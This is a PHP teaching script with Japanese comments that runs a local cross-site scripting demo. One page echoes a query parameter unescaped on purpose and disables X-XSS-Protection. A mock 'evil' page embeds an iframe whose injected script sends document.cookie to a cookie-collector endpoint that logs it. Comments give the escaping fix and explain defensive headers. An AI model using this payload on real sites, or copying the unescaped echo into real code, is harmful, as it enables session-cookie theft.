ryoakg
2/9/2017 - 10:28 AM

xss.php

<?php
if (PHP_SAPI === 'cli') {
  echo 'Usage:' . PHP_EOL;
  echo "  run: php -S localhost:8080 {$argv[0]}" . PHP_EOL;
  echo '  browse http://localhost:8080/' . PHP_EOL;
  exit;
}
// see also: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

// trace URL
term_dump($_SERVER['REQUEST_URI']);

// /cookie-provider と /evil は運営しているユーザが別という前提
switch(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)){
  case '/keyword-service':
    keyword_service_site();
    return;

  case '/evil':
    // 攻撃者のサイト
    evil_site();
    return;
  case '/evil/cookie-collector':
    // 攻撃者のクッキーを盗むところ
    evli_cookie_collector_page();
    return;

  default:
    http_response_code(307);
    header('Location: /evil');
    return;
}

function term_dump($x){
  ob_start();
  var_dump($x);
  error_log(ob_get_clean(), 4);
}

function keyword_service_site(){
  setcookie('foo'                 // name
            , 'abc'               // value
            , 0                   // expire: 0 indicates don't expire
            , '/keyword-service'  // path: 同じホストで動かしているので /evil から見えない様にしておく
  );

  // 以下 HTTP ヘッダの設定
  // see also: セキュリティを強化する7つの便利なHTTPヘッダ(https://devcentral.f5.com/articles/7http)
  // ブラウザがヘッダを見て挙動を変えるというものなので、
  // ブラウザがそのヘッダに対応していないと意味はない

  // X-XSS-Protection
  //   Chrome, IE とかで XSS 対策がされているので、今回は実験用という事で「わざと」無効にする
  header('X-XSS-Protection: 0'); // 0:無効
  //   https://developer.mozilla.org/docs/Web/HTTP/Headers/X-XSS-Protection
  //   このヘッダは XSS に直接的な対策なので、他の機能が動かなくなるとか副作用も考えられない
  //   普通は有効にすべき
  //   Chrome なら --disable-xss-auditor でもいいみたい

  // Content-Security-Policy / X-Content-Security-Policy / X-Webkit-CSP
  //   https://content-security-policy.com/
  //   https://developer.mozilla.org/docs/Web/Security/CSP
  //   https://www.html5rocks.com/en/tutorials/security/content-security-policy/
  //   same-origin policy じゃないものを適用する場合に使う
  //   <script>のタグ内のJSを禁止して src で指定したものだけ動かすとか出来る様になるらしい
  // header('Content-Security-Policy: <policy>');
  //   ドメイン単位みたいなので、今回は使えない

  // X-Frame-Options
  //   ピンポイントというより、包括的な対策だけど
  //   ブラウザが対応していれば、X-Frame-Options で防ぐ事も出来る
  // header('X-Frame-Options: DENY');
  //   全て禁止
  // header('X-Frame-Options: SAMEORIGIN');
  //   この実験は同じ ORIGIN なので防げないけど、
  //   攻撃者と攻撃を受けるサイトが別ORIGINな場合は多いと思うので、その場合なら防げる
  //   ただ、複数ドメインを使ったアプリケーションがうまく動かないかもしれない
  // header('X-Frame-Options: ALLOW-FROM <url>');
  //   url が、どこまで書くものか分からない path の部分まで有効なのか? ブラウザに依るのか?
  //   https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet#Defending_with_X-Frame-Options_Response_Headers
  //     uri としかない
  //   https://developer.mozilla.org/ja/docs/Web/HTTP/X-Frame-Options
  //     生成元とあるので scheme://host:port の制限かなと思う

?>
  <html>
    <head>
      <title>COOKIE PROVIDER</title>
      <meta charset="UTF-8">
    </head>
    <body>
      キーワード:
      <?php
      if ($k = @$_GET['keyword']) {
        echo $k; // BAD

        // 本来こうすべき
        // echo htmlspecialchars($k, ENT_QUOTES, 'UTF-8');
      }
      ?>
    </body>
  </html>
<?php }

// 以降、攻撃者のサイト
function evil_site(){
?>
  <html>
    <head>
      <title>EVIL SITE</title>
      <meta charset="UTF-8">
    </head>
    <body>
      <h1>evil site</h1>
      <iframe src="/keyword-service?keyword=<script>window.location='/evil/cookie-collector?cookie='%2Bdocument.cookie;</script>"></iframe>
    </body>
  </html>
<?php }

function evli_cookie_collector_page(){
  // これだと、画面に表示されるだけだけど、
  // どこかに保存する事も可能
  if ($c = @$_GET['cookie']) term_dump("received cookie: {$c}");
?>
  <html>
    <head>
      <title>HELLO</title>
      <meta charset="UTF-8">
    </head>
    <body>
      hello
    </body>
  </html>
<?php }